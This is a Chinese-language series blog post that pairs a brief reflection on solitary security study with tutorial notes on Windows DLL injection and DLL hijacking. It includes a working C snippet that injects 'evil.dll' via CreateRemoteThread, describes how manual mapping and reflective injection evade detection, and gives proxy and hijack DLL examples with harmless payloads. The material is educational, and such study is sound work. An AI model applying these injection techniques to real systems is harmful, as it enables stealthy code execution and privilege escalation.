iT邦幫忙

2025 iThome 鐵人賽

DAY 20
0

孤獨和成長


週末的日子很平靜。

最近的時光,常常是我一個人,抱著筆電,
在自己的小小世界裡默默升級。

有時候是調一個 PoC,像在跟一個任性的遊戲角色搏鬥;
有時候是學習新的提權手法,像 DLL Injection、Hijack,
一次次把技能寫進自己的系統。

夜深的時候,房間只剩下鍵盤的聲音。
我其實已經習慣了,習慣這樣的孤獨。
沒有誰在旁邊,沒有掌聲,也沒有觀眾。

唯一不變的是,每當成功拿到 shell、奪回權限的那一刻,

內心的小女孩會悄悄點頭,告訴我:

「妳又升級了。」

從一個還在迷惘的自己,
一步步變成更堅定的未來版本。

這種成就感,
從來都不需要誰見證或肯定,
因為我知道,這就是我的力量。


技術筆記:DLL Injection & Hijacking 技術筆記

DLL Injection (DLL 注入)

概念

把惡意 DLL 插入到目標 Process 的位址空間,讓它在該 Process 上下文中執行。

目標

影響行為、存取資源、或隱匿惡意程式。

合法用途

Hot Patching:不中斷程式就能更新(Azure 的熱更新)。

惡意用途

駭客將惡意 DLL 注入可信任 Process,嘗試繞過防毒或 EDR 偵測。


LoadLibrary Injection

流程

  • OpenProcess() : 取得目標 Process 控制權。

  • VirtualAllocEx() : 在目標 Process 分配記憶體,存放 DLL 路徑。

  • WriteProcessMemory() : 將 DLL 路徑寫入記憶體。

  • GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA") : 找到 LoadLibraryA 位址。

  • CreateRemoteThread() : 在目標 Process 建立遠端執行緒,觸發 DLL 載入。

範例 (簡化版 C 程式)

DWORD pid = 1234; // 目標 Process ID
char dllPath[] = "C:\\pwn\\evil.dll";

// 取得目標 Process handle
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

// 在目標 Process 分配記憶體
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);

// 寫入 DLL 路徑
WriteProcessMemory(hProcess, remoteAddr, dllPath, strlen(dllPath), NULL);

// 找到 LoadLibraryA
LPVOID loadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

// 建立遠端執行緒
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddr, remoteAddr, 0, NULL);

Manual Mapping

概念

  • 不使用 LoadLibrary,而是手動把 DLL sections 載入目標 Process 記憶體。

  • 自行處理:Imports、Relocations、TLS Callbacks。

  • 更隱蔽,但難度高。

範例流程

  • 在自己的程式讀取 DLL Raw Bytes。

  • 使用 VirtualAllocEx 在目標 Process 配置記憶體。

  • 複製 Headers & Sections。

  • 修正 Imports、Relocations。

  • 使用 Shellcode 執行 DllMain。


Reflective DLL Injection

概念

DLL 內自帶一個 ReflectiveLoader 函數,能自我完成載入。

幾乎不與系統 API 互動,隱蔽性極高。

流程

  • 將惡意 DLL Bytes 寫入目標 Process。

  • 呼叫 DLL 的 ReflectiveLoader。

  • 由 DLL 自行:

    • 解析自身 PE Headers

    • 找 API(LoadLibraryA、GetProcAddress、VirtualAlloc)

    • 配置記憶體並修正

    • 呼叫 DllMain


DLL Hijacking (DLL 劫持)

概念

  • 當程式載入 DLL 時,若未指定完整路徑 → Windows 依據搜尋順序找 DLL。

  • 攻擊者可放置惡意 DLL 讓程式誤載入。

Safe DLL Search Mode (預設開啟)

  • 應用程式目錄

  • 系統目錄

  • Windows 目錄

  • Current Directory

  • PATH 環境變數

找出可利用的 DLL

工具

Procmon (Process Monitor) : 找 Load Image / NAME NOT FOUND。

Process Explorer : 檢查目標 Process 載入的 DLL。

DLL Proxying 範例

原始程式:

HMODULE hLib = LoadLibrary("library.dll");
AddFunc add = (AddFunc)GetProcAddress(hLib, "Add");

攻擊者提供惡意 DLL:

DLL_EXPORT int Add(int a, int b) {
    HMODULE origLib = LoadLibraryA("library.o.dll");
    AddFunc origAdd = (AddFunc)GetProcAddress(origLib, "Add");
    int result = origAdd(a, b);
    return result + 1; // 惡意修改
}

程式呼叫 Add(1,1) → 結果原本應該是 2,卻變成 3。

Invalid DLL 範例

如果程式要載入 x.dll 但不存在:

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        MessageBoxA(NULL, "Hijacked... Oops...", "Alert", MB_OK);
    }
    return TRUE;
}

把這個 DLL 命名為 x.dll 丟到程式目錄,程式一執行就會觸發。

對照表

技術 概念 範例 特點
LoadLibrary Injection 利用 API 載入 DLL C 範例注入 evil.dll 最常見,容易偵測
Manual Mapping 手動載入 DLL 載入 raw bytes → VirtualAllocEx 隱蔽性高,需進階技術
Reflective Injection DLL 自載入 ReflectiveLoader 自處理 幾乎無 API 痕跡,最隱蔽
DLL Hijacking 誤導程式載入惡意 DLL Proxy DLL、Invalid DLL 被動式,依賴搜尋順序

小語

# DLL = Dreaming, Learning, Leveling 

參考資源

Hack the box Academy - Windows Privilege Escalation - DLL Injection:
https://academy.hackthebox.com/module/67/section/2501


上一篇
打不完的 Patch,忘不掉的你 — Windows 7 仍在運行
下一篇
DLL - 我們來從頭了解你!
系列文
Hack the Boyfriend: 為了 CTF 帥哥,我貢獻了我的肝臟26
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言